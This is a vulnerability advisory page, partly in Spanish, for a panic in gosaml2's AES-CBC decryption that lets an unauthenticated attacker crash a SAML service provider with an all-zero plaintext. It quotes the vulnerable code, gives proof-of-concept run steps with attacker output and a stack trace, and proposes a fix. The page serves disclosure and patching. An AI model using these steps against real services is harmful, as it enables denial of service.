GHSA-HWQM-QVJ9-4JR2
gosaml2 CBC Padding Panic — Unauthenticated Process Crash
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Divulgación | Publicada | GHSA-HWQM-QVJ9-4JR2 divulgada | |
| Remediación | Parche v0.11.0 | github.com/russellhaering/gosaml2 · 0 d desde divulgación | |
| Divulgación | Modificada | Última actualización del registro | |
| Monitoreo | Detectada | Ingresó al índice |
Summary
The AES-CBC decryption path in `DecryptBytes()` panics on crafted ciphertext whose plaintext is all zero bytes. After decryption, `bytes.TrimRight(data, "\x00")` empties the slice, then `data[len(data)-1]` panics with `index out of range [-1]`. There is no `recover()` in the library. The panic propagates through `ValidateEncodedResponse` and kills the goroutine (or the entire process in non-`net/http` servers). An attacker needs only the SP's public RSA key (published in SAML metadata) to construct the payload — no valid signature is required.
Affected Version
All versions of `github.com/russellhaering/gosaml2` through latest (`v0.9.0` and HEAD) that support AES-CBC encrypted assertions.
Vulnerable Code
`types/encrypted_assertion.go:65-79` — `DecryptBytes`, AES-CBC branch:
case MethodAES128CBC, MethodAES256CBC, MethodTripleDESCBC:
if len(data)%k.BlockSize() != 0 {
return nil, fmt.Errorf("encrypted data is not a multiple of the expected CBC block size %d: actual size %d", k.BlockSize(), len(data))
}
nonce, data := data[:k.BlockSize()], data[k.BlockSize():]
c := cipher.NewCBCDecrypter(k, nonce)
c.CryptBlocks(data, data)
// Remove zero bytes
data = bytes.TrimRight(data, "\x00") // <-- empties the slice if plaintext is all zeros
// Calculate index to remove based on padding
padLength := data[len(data)-1] // <-- PANIC: index out of range [-1]
lastGoodIndex := len(data) - int(padLength)
return data[:lastGoodIndex], nilAttack Details
| Property | Value |
|---|---|
| Attack Vector | Network (unauthenticated HTTP POST to ACS endpoint) |
| Authentication Required | None |
| Attacker Knowledge | SP's public RSA certificate (published in SAML metadata) |
| Signature Required | No — decryption happens before assertion signature validation |
| Payload Size | Single HTTP POST (~2 KB) |
| Repeatability | Unlimited — attacker can send the payload repeatedly |
| Affected Configurations | Any SP with `SPKeyStore` configured (encrypted assertion support) |
| Trigger Condition | AES-CBC plaintext that is all `0x00` bytes after decryption |
Impact
- Process crash: In gRPC servers, custom frameworks, CLI tools, and background workers, the unrecovered panic kills the entire OS process immediately.
- Goroutine crash: In `net/http` servers, the built-in per-goroutine recovery catches the panic, returning HTTP 500 and logging the full stack trace. The server survives but the request-handling goroutine is terminated abnormally.
- Denial of service: The attack is unauthenticated and repeatable. A single crafted HTTP request is sufficient. Automated retries can keep the service down indefinitely.
- No valid signature needed: The SAML Response does not need to be signed. On the unsigned-response code path (`decode_response.go:346`), `decryptAssertions()` is called before any assertion signature validation.
Reproduction
Prerequisites
- Docker (for the vulnerable server)
- Python 3.8+ with `cryptography` and `requests` packages
Files
| File | Description |
|---|---|
| `server.go` | Minimal SAML SP using gosaml2 — the victim |
| `poc.py` | Attacker script — builds and sends the crafted payload |
| `Dockerfile` | Multi-stage build for the vulnerable server |
| `run.sh` | Build and orchestration script |
Steps
# 1. Build the vulnerable server
./run.sh build
# 2. Start the server
./run.sh start
# 3. Run the attacker script
pip install cryptography requests
./run.sh attack
# Or do everything in one command:
./run.sh allExpected Output
Attacker terminal (`poc.py`):
========================================================
CVE: CBC Padding Panic — Unauthenticated Process Crash
Target: gosaml2 (github.com/russellhaering/gosaml2)
File: types/encrypted_assertion.go:77
Impact: Remote DoS — single HTTP request kills process
========================================================
[*] Target: http://localhost:9999
[*] Checking server health...
[+] Server is alive
========================================================
Phase 1: Obtain SP public certificate from metadata
========================================================
[*] GET http://localhost:9999/metadata
[+] Retrieved SP certificate (xxx bytes)
========================================================
Phase 2: Build crafted EncryptedAssertion payload
========================================================
[+] Extracted RSA public key (size=2048 bits)
[*] Generated AES-128 key: <hex>
[+] RSA-OAEP encrypted AES key (256 bytes)
[+] AES-128-CBC ciphertext: IV(<hex>) + 16 bytes
[*] Plaintext is all zeros — will trigger empty-slice panic after TrimRight
[+] Built SAML Response (xxx bytes XML, xxx bytes b64)
========================================================
Phase 3: Send payload to /acs
========================================================
[*] POST http://localhost:9999/acs
[*] The server will decrypt our ciphertext, hit the all-zero
plaintext edge case, and panic in DecryptBytes()...
[*] Got HTTP 500 — goroutine panicked but net/http recovered it
========================================================
Phase 4: Verify server status
========================================================
[*] Server is still responding (net/http recovered the goroutine panic)
[*] But the panic stack trace in server logs confirms the vulnerability.
[*] In non-HTTP servers, the process would be dead.
========================================================
VULNERABILITY CONFIRMED
types/encrypted_assertion.go:77 — index out of range [-1]
Stack trace:
types/encrypted_assertion.go:77 (padLength := data[len(data)-1])
decode_response.go:176 (decryptAssertions)
decode_response.go:346 (ValidateEncodedResponse)
========================================================Server logs (panic stack trace):
http: panic serving 127.0.0.1:xxxxx: runtime error: index out of range [-1]
goroutine XX [running]:
net/http.(*conn).serve.func1()
/usr/local/go/src/net/http/server.go:1898 +0xbe
github.com/russellhaering/gosaml2/types.(*EncryptedAssertion).DecryptBytes(...)
types/encrypted_assertion.go:77 +0x...
github.com/russellhaering/gosaml2.(*SAMLServiceProvider).decryptAssertions.func1(...)
decode_response.go:176 +0x...
github.com/russellhaering/gosaml2.(*SAMLServiceProvider).decryptAssertions(...)
decode_response.go:196 +0x...
github.com/russellhaering/gosaml2.(*SAMLServiceProvider).ValidateEncodedResponse(...)
decode_response.go:346 +0x...Suggested Fix
Replace the unsafe zero-byte trimming and unchecked index with proper PKCS#7 unpadding and bounds checks:
case MethodAES128CBC, MethodAES256CBC, MethodTripleDESCBC:
if len(data)%k.BlockSize() != 0 {
return nil, fmt.Errorf("ciphertext not multiple of block size")
}
nonce, data := data[:k.BlockSize()], data[k.BlockSize():]
c := cipher.NewCBCDecrypter(k, nonce)
c.CryptBlocks(data, data)
// Validate decrypted data is non-empty
if len(data) == 0 {
return nil, fmt.Errorf("decrypted data is empty")
}
// Proper PKCS#7 unpadding with bounds checks
padLength := int(data[len(data)-1])
if padLength < 1 || padLength > k.BlockSize() || padLength > len(data) {
return nil, fmt.Errorf("invalid padding length: %d", padLength)
}
// Verify all padding bytes are consistent
for i := len(data) - padLength; i < len(data); i++ {
if data[i] != byte(padLength) {
return nil, fmt.Errorf("invalid PKCS#7 padding")
}
}
return data[:len(data)-padLength], nilKey changes:
1. Remove `bytes.TrimRight(data, "\x00")` entirely — it corrupts valid PKCS#7-padded data and creates the empty-slice condition.
2. Bounds-check `padLength` before using it as a slice index.
3. Validate all padding bytes match (proper PKCS#7 verification).
4. Return errors instead of panicking on malformed input.
Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
gogithub.com/russellhaering/gosaml2 |
Corregida | v0.11.0 | 0 d | v0.12.0 no afectada |
0.11.0v0.11.0Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/russellhaering/gosaml2/security/advisories/GHSA-hwqm-qvj9-4jr2https://github.com/russellhaering/gosaml2Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
